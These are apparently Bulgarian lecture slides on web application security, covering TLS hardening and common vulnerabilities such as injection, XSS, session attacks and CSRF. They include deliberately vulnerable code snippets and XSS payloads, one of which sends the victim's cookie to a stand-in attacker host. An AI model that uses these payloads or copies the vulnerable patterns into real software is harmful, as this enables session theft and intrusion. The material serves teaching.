WEB ПРИЛОЖЕНИЯ

ОСОБЕНОСТИ ОТ ГЛЕДНА ТОЧКА НА СИГУРНОСТТА

ВЪВЕДЕНИЕ

Уеб програмирането изисква интеграция на редица технологии. Това означава, че уеб приложенията имат голяма повърхност за атака. Както и голяма сложност, която води до непредвидени последствия. В следствие на това, сигурността на стека е игра на котка и мишка.

СТЕКЪТ

- HTML
- CSS
- Browser Scripting (JavaScript)
- HTTP(s)
- HTTP(s) Server
- Server Side Scripting (PHP/Ruby/Python/etc.)
- Database
- OS
- Hardware

СТЕКЪТ

- HTML
- CSS
- Browser Scripting (JavaScript)
- HTTP(s)
- HTTP(s) Server
- Server Side Scripting (PHP/Ruby/Python/etc.)
- ~~Database~~
- ~~OS~~
- ~~Hardware~~

ЗА КАКВО ОЩЕ НЯМА ДА ГОВОРИМ

- Flash
- Silverlight
- ActiveX
- Java в браузъра

Тези технологии ще смятаме за безнадеждно несигурни.

Не че това не може да се каже за Web програмирането като цяло :).

REMOTE CODE EXECUTION

A.K.A. CLIENT SIDE SCRIPTING

BROWSER SCRIPTING

Скриптирането на браузъра, посредством JS, е в същността си remote code execution.

Функционалност срещу практичност

НО ОСВЕН ТОВА

Липсва метод за подписване на JS, който е написан от разработчиците на уеб приложение.

Липсва достатъчно подробна система от позволения (напр. Android).

JS Sux (no offence)

НЕ МОЖЕ ЛИ JS ДА СЕ ИЗВЕДЕ ОТ УПОТРЕБА?

Може! Flash и Java applets са примери за client-side технологии, които излизат от употреба... и биват заместени от по-добра технология, която се казва JavaScript.

:(

TLS

Още една технология, която няма алтернатива :(.

Bulletproof SSL and TLS илюстрира добре проблемите и хаковете, които ги заобикалят.

Ще се спрем на няколко проблема и хаковете, които ги заобикалят :).

PFS

Означава, че ако някой се сдобие с частния ключ на TLS сървърите ви, няма да може да дешифрира данни, които са подслушани преди това.

Разчита на Ephemeral Diffie-Hellman обмяна на ключове.

ЕЛИПТИЧНИ КРИВИ

Засега положението с елиптичните криви е малко проблематично.

Има изгледи да се подобри.

Адам Лангли смята, че имплементирането на бекдоор в елиптична крива е извънземна технология.

Т.е. може да се използва и EECDH за осигуряване на PFS.

БРАУЗЪРИТЕ СЕ СДОБИВАТ С ПАМЕТ

Оказва се, че редица проблеми, възникнали при използването на TLS, могат да бъдат **заобиколени** и **до някаква степен** неутрализирани, посредством „запомняне“ на информация за URL в браузъра.

HSTS

Елиминира нуждата от начална връзка по нешифриран канал след първо отваряне на даден URL.

RFC 6797, реализира се чрез Strict-Transport-Security HTTP хедър.

HPKP

Опитва се да заобиколи недостатък на текущата PKI система.

Показва на потребителя грешка в сигурността, ако публичният ключ на даден сайт е променен след последното посещение.

draft-ietf-websec-key-pinning-21, реализира се чрез Public-Key-Pins HTTP хедър.

СТРАНИЧНИ ЕФЕКТИ

Предишните два уъркараунда имат „прекрасен“ страничен ефект.

Позволяват имплементирането на супер бисквитка, чрез която потребителите да могат да бъдат следени.

ЧЕСТО СРЕЩАНИ УЯЗВИМОСТИ

ИНЖЕКЦИЯ

Най-разпространената уязвимост според OWASP

Случва се, когато недоверени данни бъдат подадени на интерпретатор като част от команда.

```
$sql = "SELECT * FROM users WHERE username = '$username';";
```

```
File.read "/home/application/upload/#{params[:file]}"
```

И Т.Н.

Избягва се основно чрез позитивна валидация на входните данни, както и използване на ORM.

XSS

Означава, че трети лица могат да инжектират JS в приложението ви, който след това да се изпълни в браузърите на потребителите.

Този код се изпълнява от името и с правата на всеки потребител на приложенето.

Случва се, когато недоверени данни бъдат рендерирани в изгледа.

```
echo $_GET['comment'];
```

Избягва се чрез позитивна валидация на входните данни или автоматично екраниране на HTML таговете.

В Rails този проблем до голяма степен е решен с екраниране на всички динамични части от View-то.

В PHP исторически решението беше да се слагат „магически“ кавички.

```
СУ \\\\\\\\"Св. Климент Охридски\\\\\\\\"
```

ПРИМЕРИ

```
<img src=javascript:alert('Hello')>
<table background="javascript:alert('Hello')"></table>


<script>document.write('<img src="http://www.attacker.com/'
                        + document.cookie + '">');</script>


<div style="background:url('javascript:alert(1)')">
```

УЯЗВИМОСТИ ОКОЛО СЕСИИТЕ

HTTP е stateless протокол

Често обаче потребителите на едно приложение имат състояние, което трябва да бъде пазено по време на навигация между URL-ите

Най-честото състояние на потребителя е дали е потвърдил самоличността си пред приложението или не.

КРАЖБА НА СЕСИЯ

Кражбата на сесийната бисквитка на даден потребител позволява да се използва приложението от негово име.

Ако се използва HTTP, няма как сесийната бисквитка да бъде запазена в тайна от трети лица.

Ако сайтът е уязвим на XSS, сесийната бисквитка също може да се извлече.

ФИКСАЦИЯ НА СЕСИЯ

Генерира се сесиен идентификатор, който се подава на потребителя.

Когато потребителят евентуално потвърди самоличността си пред приложението, противникът може да изпълнява действия от негово име.

Тази уязвимост се неутрализира чрез генериране на нов сесиен идентификатор след вход в приложението

CSRF

Браузърът изпълнява заявка към трети сайт от името на потребителя.

Ограничава се до някаква степен чрез CORS, както и чрез CSRF token.

CLICKJACKING

Почти същото като CSRF, но изисква кликване от потребителя, за да се изпълни действието.

UNSAFE REDIRECTION

Почти същото като CSRF, но изисква кликване от потребителя, за да се изпълни действието.

```
redirect_to(params.update(action:'main'))
```

И МНОГО ДРУГИ